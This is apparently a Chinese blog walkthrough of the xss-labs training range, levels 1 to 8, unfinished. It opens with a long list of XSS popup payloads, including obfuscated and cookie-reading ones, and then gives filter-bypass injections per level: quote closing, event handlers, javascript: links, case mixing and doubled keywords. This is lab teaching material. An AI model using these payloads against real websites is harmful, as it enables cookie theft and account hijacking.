目录
xss的理论篇,写了不少删删改改还未完成,先做完通关文档吧还是。
文章所用的xss-labs靶场的项目地址:GitHub - do0dl3/xss-labs: xss 跨站漏洞平台
一些弹窗代码如下:
进行xss注入时因为要注意长度限制,因此我们已长度最短的优先。
<script>alert(1)</script>
<script>confirm('1')</script>
<script>alert(1)</script>
<script>alert(/1/zyl)</script>
<script>alert(document.cookie)</script>
<script>alert([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[])())</script>
<script>alert(String.fromCharCode(65))</script>
<ZYL/οnclick="alert('xss')">ZYL
<script zyl>alert('xss')</script>
<a href="javascript:alert('xss')">aaa</a>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>ZYL
<a href=javascript:alert(13)>ZYL
<img src=1 onerror="alert('xss')">
<img src=1 onerror=alert(document.cookie)>
<svg onload=alert(1)>
<video src=1 onerror=alert(1)>
<img/src=1/οnerrοr="alert(/xss/)">
<img/src=1/οnerrοr=alert(/xss/)>
<button onfocus=alert(1) autofocus>
<body onload=alert(1)>
<body background="javascript:alert('XSS')">
<iframe src="javascript:alert('1')"></iframe>
<iframe onload=alert(1)></iframe>
<input onfocus=alert(1) autofocus>
<input type="image" src="javascript:alert('XSS');">
#上面的确实是有点多了,这里列举几个常用的:
<svg onload=alert(1)>
<img src=1 onerror="alert(1)">
<script>alert(1)</script>
1. level1初体验:
仔细观察图中3个箭头可以发现,我提交了一个test值,第一关是把name参数的值显示在了页面之上,直接挂在了<h2>标签一栏,并且在h4标签里显示了长度。
那么显然他是考查ss反射型漏洞,但是由于不知道服务器端对于提交的敏感字符有没有过滤,所以这里直接在name参数中赋值一个简单的弹窗来进行测试:
<script>alert('xss')</script>
可以看到代码被执行了,浏览器讲恶意代码返回了所以才能弹窗。
可以会到服务端的php文件里看看是如何操作参数的,第七行的get name将值赋给str,然后给了第八行的h2元素里str。因为服务器并没有对name的值做严格管理,所以存在xss反射型注入漏洞~
2. level2 双引号闭合
从url我并没有先去着急查看php的源代码,根据上一关的经验我在input内输入了一串数字,页面给了我两处反馈,反馈给我的点有3个,肯定是使用了类似于上关的参数操作。
大概率依然使用get方式传输,基本判定为反射型
从源码来看,使用一个输入和一个搜索框来进行交互,点击搜索框把input内的结果get到服务器上的level2.php文件里做判断。
经过服务器的动态处理之后又会将参数keyword的值插入到<h2> </h2>
标签之中以及添加到<input>
标签中的value属性的值内。
尝试使用上一关的恶意语句操作进行弹窗
尝试alert起手,ok失败。
猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。(因为edge的版本问题并没有被编码)偷偷回到PHP文件看一眼果然如此用htmlspecialchars()函数
对变量str进行处理之后显示到网页上,接着直接将变量值插入到了<input>
标签的value属性值中
接着往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。
既然上面的恶意代码被编码了,那么只能从属性值中的恶意代码处进行突破了。要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了。
将keyword的参数值重新赋值"><script>alert('xss')</script>//
左边的">去闭合原先的"
右边的//去注释原先的">
因为这里并没有对敏感字符进行编码和过滤,所以可以通过构造实现XSS攻击。
3. level3 源码函数有问题,单括号绕过
还是test搜索一下感受一下,又遇到keyword,初步判断和第二关相似,不确定是否有编码敏感字符过滤等操作
短剑起手感受一下,还是因为浏览器问题并不能看到所以然,
我们直接打开PHP文件
🆗熟悉的配方,都将<
和>
这样的敏感字符编码成了html字符实体。
确认我们的猜测之后,可以通过
<input>
标签的一些特殊事件来执行js代码,构造代码:level3.php?keyword='onfocus=javascript:alert('xss') > //
发现没有直接弹窗,这是因为onfocus事件的特殊性造成的,通常用于 <input>, <select>, 和<a>.
输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此
点击当前页面的输入框就可以完成弹框了
4. level4 不用括号绕过
猜测使用get传参,在页面有两处显示,短剑起手!
箭头1处直接将<
和>
编码转换了,
箭头2处却是把<
和>
删除了,但是,事件触发却不需要使用这两个符号。
用上一关的代码:level4.php?keyword="onfocus=javascript:alert('xss')"
在点击输入框之后成功触发了事件进行弹窗。
5. level5 a标签使用
<script>alert('xss')</script>短剑起手,报错。意料之中
箭头1处:应该是被htmlspecialchars()函数将<和>进行了编码处理
箭头2处:在显示位可以看到,它在我们的恶意代码<script>中添加了一个_符号
用之前事件触发的代码进行测试:?keyword="οnfοcus=javascript:alert('xss')>//
但是这次却没有成功触发弹窗,继续查看源码
我发现 限制了onfocus。那么就换标签
"> <a href=javascript:alert('xss') > xss</a> //
返回了一个链接点击通过
6. level6 大小写绕过
查看网页源码,和之前没有什么区别,短剑起手,OK失败。
继续查看网页源码,可以看到在value属性值中也插入了_
符号防止xss的发生
尝试上一关的<a>
标签:?keyword="> <a href=javascript:alert('xss') > xss</a> //
也报错了
咱就是说要不要试试大小写?构造如下函数
?keyword="> <a HrEf=javascript:alert('xss') > xss</a> //
查看一下php文件,服务器做了6条防范
7. level7 空替绕过
短剑起手
箭头1:将<
和>
进行编码处理了
箭头2:把script字符直接删除了
再试试事件触发:?keyword="onfocus=javascript:alert('xss')//
on字符被直接删除了,G。script字符也被删除了。接下来尝试了大小写也被ban了。
尝试"> <scrscriptipt>alert(1)</scrscriptipt>//双写关键字
基本的关键字删完了,也限制了大小写。
但是它只执行了一次 所以可以双写绕过,我的评价是天才般的想法!le
8. level8 这个写完就睡觉
test起手
提交的参数值一个会插入到<input>
标签的value属性值中,一个会插入到下方<a>
标签的href属性值中。
接下来测试服务器对客户端的处理:
1.<script>alert('xss')</script>&submit=添加友情链接
在href属性值中script
字符被插入了_
字符破坏语义,接下来的
" onfocus=javascript:alert('xss')>//
不出意外也失败了,大小写双写什么的都gg了,
其实我们还可以进行编码测试:
感受一下
#javascript:alert(1)的HTML编码
javascript:alert(1)
🆗睡觉,明天继续写
对常见的关键字和参数值等都作了限制